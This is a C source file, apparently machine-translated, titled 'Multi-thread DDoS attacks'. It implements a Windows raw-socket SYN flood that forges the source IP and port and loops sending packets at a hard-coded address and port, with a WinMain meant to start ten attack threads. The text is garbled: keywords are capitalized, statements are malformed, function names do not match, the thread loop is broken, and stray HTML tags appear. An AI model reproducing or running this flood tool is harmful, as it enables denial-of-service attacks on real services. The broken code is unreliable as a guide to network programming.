Multi-thread DDoS attacks
Author: Xtep
# Include "stdafx. H"
# Include <windows. h>
# Include <winsock2.h>
# Include <ws2tcpip. h>
# Pragma comment (Lib, "ws2_32.lib ")
Typedef struct tag_ip_header // IP Header
{
Unsigned char h_verlen; // four-digit hand length, and four-digit IP version number
Unsigned char TOS; // eight-bit type service
Unsigned short total_len; // The total length of 16 bits
Unsigned short ident; // 16-Bit Flag
Unsigned short frag_and_flags; // 3-bit flag (such as SYN, ack, etc)
Unsigned char TTL; // 8-bit survival time
Unsigned char proto; // 8-bit Protocol
Unsigned short checksum; // ip address hand verification and
Unsigned int sourceip; // forged IP Address
Unsigned int destip; // attacked IP Address
} Ipheader;
Typedef struct tag_tcp_header
{
Ushort th_sport; // counterfeit Port
Ushort th_dport; // attack Port
Unsigned int th_seq; // 32-bit serial number
Unsigned int th_ack; // 32-bit confirmation number
Unsigned char th_lenres; // the length of the first four characters, with 6 reserved characters
Unsigned char th_flag; // 6-digit flag
Ushort th_win; // 16-bit window size
Ushort th_sum; // 16-bit verification and
Ushort th_urp ;//
} Tcpheader;
Typedef struct tag_tsd_header
{
Unsigned long saddr; // forged address
Unsigned long daddr; // attack address
Char mbz ;//
Char ptcl; // protocol type
Unsigned short tcpl; // TCP Length
} Tsdheader;
DWORD winapi start (void );
Handle hfind [10];
// Calculate the effect and
Ushort checksum (ushort * buffer, int size)
{
Unsigned long check = 0;
While (size> 1)
{
Check + = * buffer ++;
Size-= sizeof (ushort );
}
If (size)
{
Check + = * (ushort *) buffer;
}
Check = (check> 16) + (check & 0 xFFFF );
Check + = (check> 16 );
Return (ushort )(~ Check );
}
// Attack thread
DWORD winapi statr (void)
{
Socket sock;
Wsadata;
Sockaddr_in syn_in;
Ipheader;
Tcpheader;
Tsdheader psdheader;
Const char * ADDR = "127.0.0.1"; // ip address of the attack
Int Port = 135; // The port to be attacked
If (wsastartup (makeword (2, 2), & wsadata ))
{
Return false;
}
If (sock = socket (af_inet, sock_raw, ipproto_ip) = invalid_socket)
{
Return false;
}
Bool flag = true;
If (setsockopt (sock, ipproto_ip, ip_hdrincl, (char *) & flag, sizeof (FLAG) = socket_error)
{
Return false;
}
Int time = 888;
If (setsockopt (sock, sol_socket, so_sndtimeo, (char *) & time, sizeof (time) = socket_error)
{
Return false;
}
Syn_in.sin_family = af_inet;
Syn_in.sin_port = htons (port );
Syn_in.sin_addr.s_un.s_addr = inet_addr (ADDR );
While (true)
{
// Fill in the IP Header
Ipheader. h_verlen = (4 <4 | sizeof (ipheader)/sizeof (unsigned long ));
Ipheader. TOS = 0;
Ipheader. total_len = htons (sizeof (ipheader) + sizeof (tcpheader ));
Ipheader. ident = 1;
Ipheader. frag_and_flags = 0;
Ipheader. TTL = (unsigned char) gettickcount () % 514 + 620;
Ipheader. proto = ipproto_tcp;
Ipheader. checksum = 0;
Ipheader. sourceip = htonl (gettickcount () * 1986 );
Ipheader. destip = inet_addr (ADDR );
// Fill the TCP Header
Int sourceport = gettickcount () * 1986% 514;
Tcpheader. th_dport = htons (port );
Tcpheader. th_sport = htons (sourceport );
Tcpheader. th_seq = htonl (0x12345678 );
Tcpheader. th_ack = 0;
Tcpheader. th_lenres = (sizeof (tcpheader)/4 <4 | 0 );
Tcpheader. th_flag = 2;
Tcpheader. th_win = htons (620 );
Tcpheader. th_urp = 0;
Tcpheader. th_sum = 0;
// Fill the TCP pseudo header to calculate the validation and
Psdheader. saddr = ipheader. sourceip;
Psdheader. daddr = ipheader. destip;
Psdheader. mbz = 0;
Psdheader. ptcl = ipproto_tcp;
Psdheader. tcpl = htons (sizeof (tcpheader ));
// Calculate the checksum
Char sendbuff [100] =;
Memcpy (sendbuff, & psdheader, sizeof (psdheader ));
Memcpy (sendbuff + sizeof (psdheader), & tcpheader, sizeof (tcpheader ));
Tcpheader. th_sum = checksum (ushort *) sendbuff, sizeof (psdheader) + sizeof (tcpheader ));
Memcpy (sendbuff, & ipheader, sizeof (ipheader ));
Memcpy (sendbuff + sizeof (ipheader), & tcpheader, sizeof (tcpheader ));
// Send data packets
Int SYN = sendto (sock, sendbuff, sizeof (ipheader) + sizeof (tcpheader), 0, (struct sockaddr *) & syn_in, sizeof (syn_in ));
If (SYN = socket_error)
{
Return false;
}
}
Closesocket (sock );
Wsacleanup ();
Return true;
}
int apientry winmain (hinstance,
hinstance hprevinstance,
lpstr lpcmdline,
int ncmdshow)
{// start thread, 10. You can change it by yourself
for (INT I = 0; I <10; I ++)
{
hfind [I-1] = createthread (null, 0, (lpthread_start_routine) statr, null );
I --;
}< br>
return 0;
}< br>